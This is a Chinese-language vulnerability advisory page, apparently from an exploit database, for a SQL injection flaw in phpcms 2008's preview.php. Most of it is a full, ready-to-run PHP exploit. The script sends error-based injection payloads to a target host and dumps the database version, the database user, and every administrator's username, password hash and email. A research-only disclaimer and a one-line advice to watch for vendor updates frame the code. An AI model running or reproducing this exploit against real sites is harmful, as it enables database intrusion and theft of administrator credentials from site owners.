漏洞版本:phpcms 2008漏洞描述:phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。ph
漏洞版本:
phpcms 2008
漏洞描述:
phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。 phpcms 2008的preview.php文件在接受参数info[contentid]字段时没有合适的过滤,导致SQL注入漏洞。
<* 参考
http://www.wooyun.org/bugs/wooyun-2013-022112*>
http://0day5.com/archives/985
http://sebug.net/appdir/phpcms
测试方法:
@Sebug.net dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
- 可能使用的时候要更改一下User-Agent,否则注入不成功。
- 注入前请先注册一个用户,把登陆后的cookie写入到cookie变量中。
- <?php
- /**
- * Created by 独自等待
- * Date: 13-11-24
- * Time: 下午8:36
- * Name: phpcms2008_preview.php
- * 独自等待博客:http://www.waitalone.cn/
- */
- print_r('
- +------------------------------------------------------+
- PHPCMS2008 preview.php 注入EXP
- Site:http://www.waitalone.cn/
- Exploit BY: 独自等待
- Time:2013-11-24
- +------------------------------------------------------+
- ');
- if($argc <3){
- print_r('
- +------------------------------------------------------+
- Useage: php '. $argv[0].' host path
- Host: target server (ip/hostname)
- Path: path of phpcms
- Example: php '. $argv[0].' localhost /phpcms
- +------------------------------------------------------+
- ');
- exit;
- }
- error_reporting(7);
- //统计时间
- $start_time = func_time();
- $host = $argv[1];
- $path = $argv[2];
- $cookie ='';//请把会员cookie写入此变量中
- if($cookie =='')exit('请注册会员后写入cookie到cookie变量中。');
- if(preg_match('/MySQL Query/i', send_pack("'"))){
- //数据库版本
- $db_ver ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
- echo '数据库版本:'. get_info($db_ver)."\n";
- //数据库用户
- $db_user ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
- echo '数据库用户:'. get_info($db_user)."\n";
- //获取用户表
- $db_member ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() and table_name like '%_member%' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
- $member = get_info($db_member);
- //获取管理员数量
- $db_count ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,count(*),0x7e) FROM $member where groupid=1 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
- $ad_count = get_info($db_count);
- echo '管理员表中共有--['. $ad_count .']--个管理员'."\n";
- //显示注入数据
- foreach(range(0,($ad_count -1))as $i){
- $ad_pass ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,username,0x3a,password,0x3a,email,0x7e) FROM $member where groupid=1 LIMIT $i,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
- echo '管理员['.($i +1).']-->'. get_info($ad_pass)."\n";
- }
- }else{
- exit("报告大人,网站不存在此漏洞,你可以继续秒下一个!\n");
- }
- //提取返回信息
- function get_info($info)
- {
- preg_match('/~(.*?)~1/i', send_pack($info), $match_string);
- if(preg_match('/charset=utf-8/i', send_pack($info))){
- return iconv('utf-8','gbk//IGNORE', $match_string[1]);
- }else{
- return $match_string[1];
- }
- }
- //发送数据包函数
- function send_pack($cmd)
- {
- global $host, $path, $cookie;
- $data ="GET ". $path ."/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2". urlencode($cmd)." HTTP/1.1\r\n";
- $data .="Host: ". $host ."\r\n";
- $data .="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0\r\n";
- $data .="Cookie:". $cookie ."\r\n";
- $data .="Connection: Close\r\n\r\n";
- //echo $data;
- //这里一定要2个\r\n否则将会一直等待并且不返回数据
- $fp =@fsockopen($host,80, $errno, $errstr,30);
- //echo ini_get('default_socket_timeout');//默认超时时间为60秒
- if(!$fp){
- echo $errno .'-->'. $errstr;
- exit('Could not connect to: '. $host);
- }else{
- fwrite($fp, $data);
- $back ='';
- while(!feof($fp)){
- $back .= fread($fp,1024);
- }
- fclose($fp);
- }
- return $back;
- }
- //时间统计函数
- function func_time()
- {
- list($microsec, $sec)= explode(' ', microtime());
- return $microsec + $sec;
- }
- echo '脚本执行时间:'. round((func_time()- $start_time),4).'秒。';
- ?>
安全建议:
目前厂商暂无提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最 新版本:http://www.phpcms.cn